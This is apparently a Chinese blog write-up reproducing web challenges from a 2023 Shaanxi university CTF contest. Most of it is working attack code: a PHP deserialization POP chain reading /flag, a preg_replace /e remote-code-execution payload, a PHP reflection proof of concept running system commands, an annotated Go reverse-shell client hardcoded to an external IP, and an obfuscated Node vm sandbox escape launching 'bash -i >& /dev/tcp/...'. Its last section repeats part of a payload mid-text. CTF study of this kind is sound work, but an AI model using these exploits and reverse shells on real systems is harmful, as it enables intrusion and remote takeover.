[2023陕西省大学生网络安全大赛]WEB复现

环境:云演

ezpop

ctrl+u或者F12会闪退,在浏览器层面打开开发者工具查看源代码即可绕过这种JS小伎俩,然后挨个查找可疑的js

base64解码打开/pop3ZTgMw.php

一个很简单的pop链,但要注意有几个特殊的unicode字符会导致显示顺序的错乱,框选之后可以发现

如何找到真正的post参数呢,其实我们慢慢的框选,可以发现这段特殊的unicode符号和“快给我传参”是连在一起的,并且是覆写符号(钓鱼攻击常用,改变文字的显示顺序),其真实位置在第一个引号’和第一个p之间

对于这种掺杂着不可见字符的参数,我们可以先通过requests获取url编码后的页面源代码,然后找到第一个%27和p字母之间的位置就是这些不可见字符,在传参的时候用url编码拼接即可

完整的参数就是去掉两旁的%27中间的内容(即单引号)

POP链子很简单,有2个考点,一个是运用GC机制来提前反序列化绕过throw Error,还有就是立即调用函数的使用,文件查看器那道题我有详细说明

最后就是用file协议来绕过waf,直接读取本地文件

POP链:

<?php

class night
{
    public $night;

    public function __destruct(){
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;

    public function __toString(){
        
        echo $this->day->go();
    }

    public function __call($a, $b){
        
        echo $this->day->getFlag();
    }
}


class light
{
    public $light;

    public function __invoke(){
        echo $this->light->d();
    }
}

class dark
{
    public $dark;

    public function go(){
       
        ($this->dark)();
    }

    public function getFlag(){

        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    echo $s;
    return strip_tags($s);
}

$night_1=new night();
$night_1->night=$day_1=new day();
$dark_1=$day_1->day=new dark();
$dark_2=new dark();
$dark_2->dark="file:///flag";
$dark_1->dark=array($dark_2,"getFlag");
echo serialize(array($night_1,1));
//a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";a:2:{i:0;O:4:"dark":1:{s:4:"dark";s:12:"file:///flag";}i:1;s:7:"getFlag";}}}}i:1;i:1;}
//把1的索引改为0触发回收机制
//a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";a:2:{i:0;O:4:"dark":1:{s:4:"dark";s:12:"file:///flag";}i:1;s:7:"getFlag";}}}}i:0;i:1;}

最终POC

ezrce

随便填一个显示出源码

关键函数

$name1=preg_replace('/hahaha/e',$qaq,$name);
//开启e模式后会在name匹配到hahaha时,eval(qaq),然后把qaq的结果替换到name中

fuzz后发现过滤了数字,引号,考虑无参数RCE

又过滤了next,reverse,没法读当前目录文件,也可能是太菜了想不出来

考虑session,构造payload

Cookie: PHPSESSID=/flag;

name=hahaha&qaq=highlight_file(session_id(session_start()));

unserialize

查看源码,要求执行代码后将password改为指定的secret,不过又搞了个unicode覆写的小伎俩。。。。

没有setter和constructor,想修改私有成员只能用反射,之前没接触过php的反射,问下聪明的bing(本来想用gpt4结果发现被封了)

这个应该是被封了。。

发现和java反射差不多,但是查看robots.txt=>hint.php后发现,常用的ReflectionClass不能用

那就改用ReflectionObject,方法流程和ReflectionClass大差不差,只不过ReflectionClass直接反射类的元数据,,而ReflectionObject是通过一个实例对象来反射其类的元数据

POC

<?php
    class getFlag{
    private $password;
    private $cmd;
    public function __destruct(){
        if($this->password=="1111"){
            system($this->cmd);
        }
    }
}
//%22%E2%80%AE%E2%81%A6%20%20%2f%2fhow%20to%20change%20the%20private%20variables%E2%81%A9%E2%81%A6secret%22
$command = "cat /flag";
$ins=new getFlag();
$obj = new ReflectionObject($ins);//这里要给个实例对象变量,不能直接new getFlag,否则后面无法找到修改的对象
$password = $obj->getProperty('password');
$password->setAccessible(true);
$password->setValue($ins,"1111");
$cmd = $obj->getProperty('cmd');
$cmd->setAccessible(true);
$cmd->setValue($ins, $command);
?>

把代码url编码后,其中的1111改为注释那栏密码即可

test

打开登录界面,查看源代码,profile路由会泄露信息,访问/prifile/admin获取密码,cmd5爆破一下,登录后post一个执行反弹shell的go文件,cat /flag即可

给官方WP贴一个详细注解,方便学习

// 定义一个main包,表示这是一个可执行程序
package main

// 导入以下几个包,用于实现TCP客户端,执行命令,读写数据等功能
import (
	"io"
	"io/ioutil"
	"log"
	"net"
	"os/exec"
)

// 定义两个全局变量,cmd和line,分别用于存储命令和行
var (
	cmd  string
	line string
)

// 定义一个main函数,作为程序的入口点
func main() {
	// 定义一个addr变量,存储要连接的地址,格式为IP:Port
	addr := "1.117.247.14:2333" //监听地址
	// 调用net包的Dial函数,创建一个TCP客户端,并连接到addr指定的地址,返回一个net.Conn类型的值,并赋给conn变量
	conn, err := net.Dial("tcp", addr)
	// 判断是否有错误发生,如果有,调用log包的Fatal函数,打印错误信息并退出程序
	if err != nil {
		log.Fatal(err)
	}

	// 定义一个buf变量,存储一个长度为10240的字节切片,用于接收从conn中读取的数据
	buf := make([]byte, 10240)
	// 使用for循环,不断地从conn中读取数据
	for {
		// 调用conn的Read方法,将数据读取到buf中,并返回读取到的字节数n和可能发生的错误err
		n, err := conn.Read(buf)
		// 判断是否有错误发生,并且不是io.EOF(表示没有更多数据可读),如果是,调用log包的Fatal函数,打印错误信息并退出程序
		if err != nil && err != io.EOF {
			log.Fatal(err)
		}

		// 将buf中前n个字节转换为字符串,并赋给cmd_str变量,表示接收到的命令
		cmd_str := string(buf[:n])
		// 调用os/exec包的Command函数,创建一个执行/bin/bash -c cmd_str命令的exec.Cmd类型的值,并赋给cmd变量
		cmd := exec.Command("/bin/bash", "-c", cmd_str)
		// 调用cmd的StdoutPipe方法,获取命令的标准输出管道,并赋给stdout变量
		stdout, err := cmd.StdoutPipe()
		// 判断是否有错误发生,如果有,调用log包的Fatal函数,打印错误信息并退出程序
		if err != nil {
			log.Fatal(err)
		}
		// 使用defer关键字,在函数返回前关闭stdout管道
		defer stdout.Close()
		// 调用cmd的Start方法,在后台启动命令,并不等待命令结束
		if err := cmd.Start(); err != nil {
			log.Fatal(err)
		}
		// 调用io/ioutil包的ReadAll函数,将stdout管道中的所有数据读取到一个字节切片中,并赋给opBytes变量
		opBytes, err := ioutil.ReadAll(stdout)
		// 判断是否有错误发生,如果有,调用log包的Fatal函数,打印错误信息并退出程序
		if err != nil {
			log.Fatal(err)
		}
		// 调用conn的Write方法,将opBytes中的数据写入到conn中,将命令的输出返回给addr指定的地址
		conn.Write([]byte(opBytes))
	}
}

关于defer关键字

使用defer关键字可以保证无论函数在哪里返回,都会关闭文件句柄f。如果不使用defer关键字,你需要在每个return语句之前调用f.Close(),或者使用一个变量来存储错误,并在函数最后调用f.Close()。这样会让代码更复杂、更容易出错。使用defer关键字可以让代码更简洁、更安全。

Esc4pe_T0_Mong0

VM1沙箱逃逸经典POC:

this.constructor.constructor("return process")().mainModule.require("child_process").exec("bash -i >& /dev/tcp/ip/port 0>&1")

waf过滤了.,{},空格等常用关键字

利用with代替.取属性,利用fromCharCode绕过关键字过滤

用法:

方法语法参数返回值作用示例
fromCharCodeString.fromCharCode(num1, num2, …, numN)num1, num2, …, numN: 一系列的UTF-16编码单元的数字,范围是0到65535。如果超过这个范围,会被截断。一个字符串,由指定的UTF-16编码单元组成。将Unicode值转换为字符。String.fromCharCode(65, 66, 67); // 返回"ABC"
withwith (object) { statement }object: 一个已有的对象,它的属性可以在语句中作为变量来使用。statement: 一个或多个语句,可以引用object的属性。无返回值。扩展作用域链,使得一个对象的属性可以在语句中直接使用,而不需要写对象名。let obj = {a: 1, b: 2};with (obj) {console.log(a + b);} // 输出3

ascii转换脚本

cmd=""
s_list=list(cmd)
payload=""
for i in s_list:
    payload+=str(ord(i))
    payload+=","
print(payload)

这里好像直接bash -i会报错,换成bash -c “bash -i >& /dev/tcp/ip/port 0>&1”

waf中还限制了长度,所以要用一个字符的变量名来代替2个字符的ascii码

最终POC:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,X,46,X,X,X,46,X,X,X,46,X,X,47,57,57,57,32,48,62,38,49,34))
//这里为了满足长度要求,端口用的999,Ip换成自己vps即可

拿到shell之后,

先启动MongoDB

service mongodb start

进入MongoDB

mongodb

查询数据库

show databases

选择数据库

use secret

查询表

show tables

查询flag

,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,X,46,X,X,X,46,X,X,X,46,X,X,47,57,57,57,32,48,62,38,49,34))
//这里为了满足长度要求,端口用的999,Ip换成自己vps即可


拿到shell之后,

先启动MongoDB

> service mongodb start

进入MongoDB

> mongodb

查询数据库

> show databases

选择数据库

> use secret

查询表

> show tables

查询flag

> db.flag.find()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值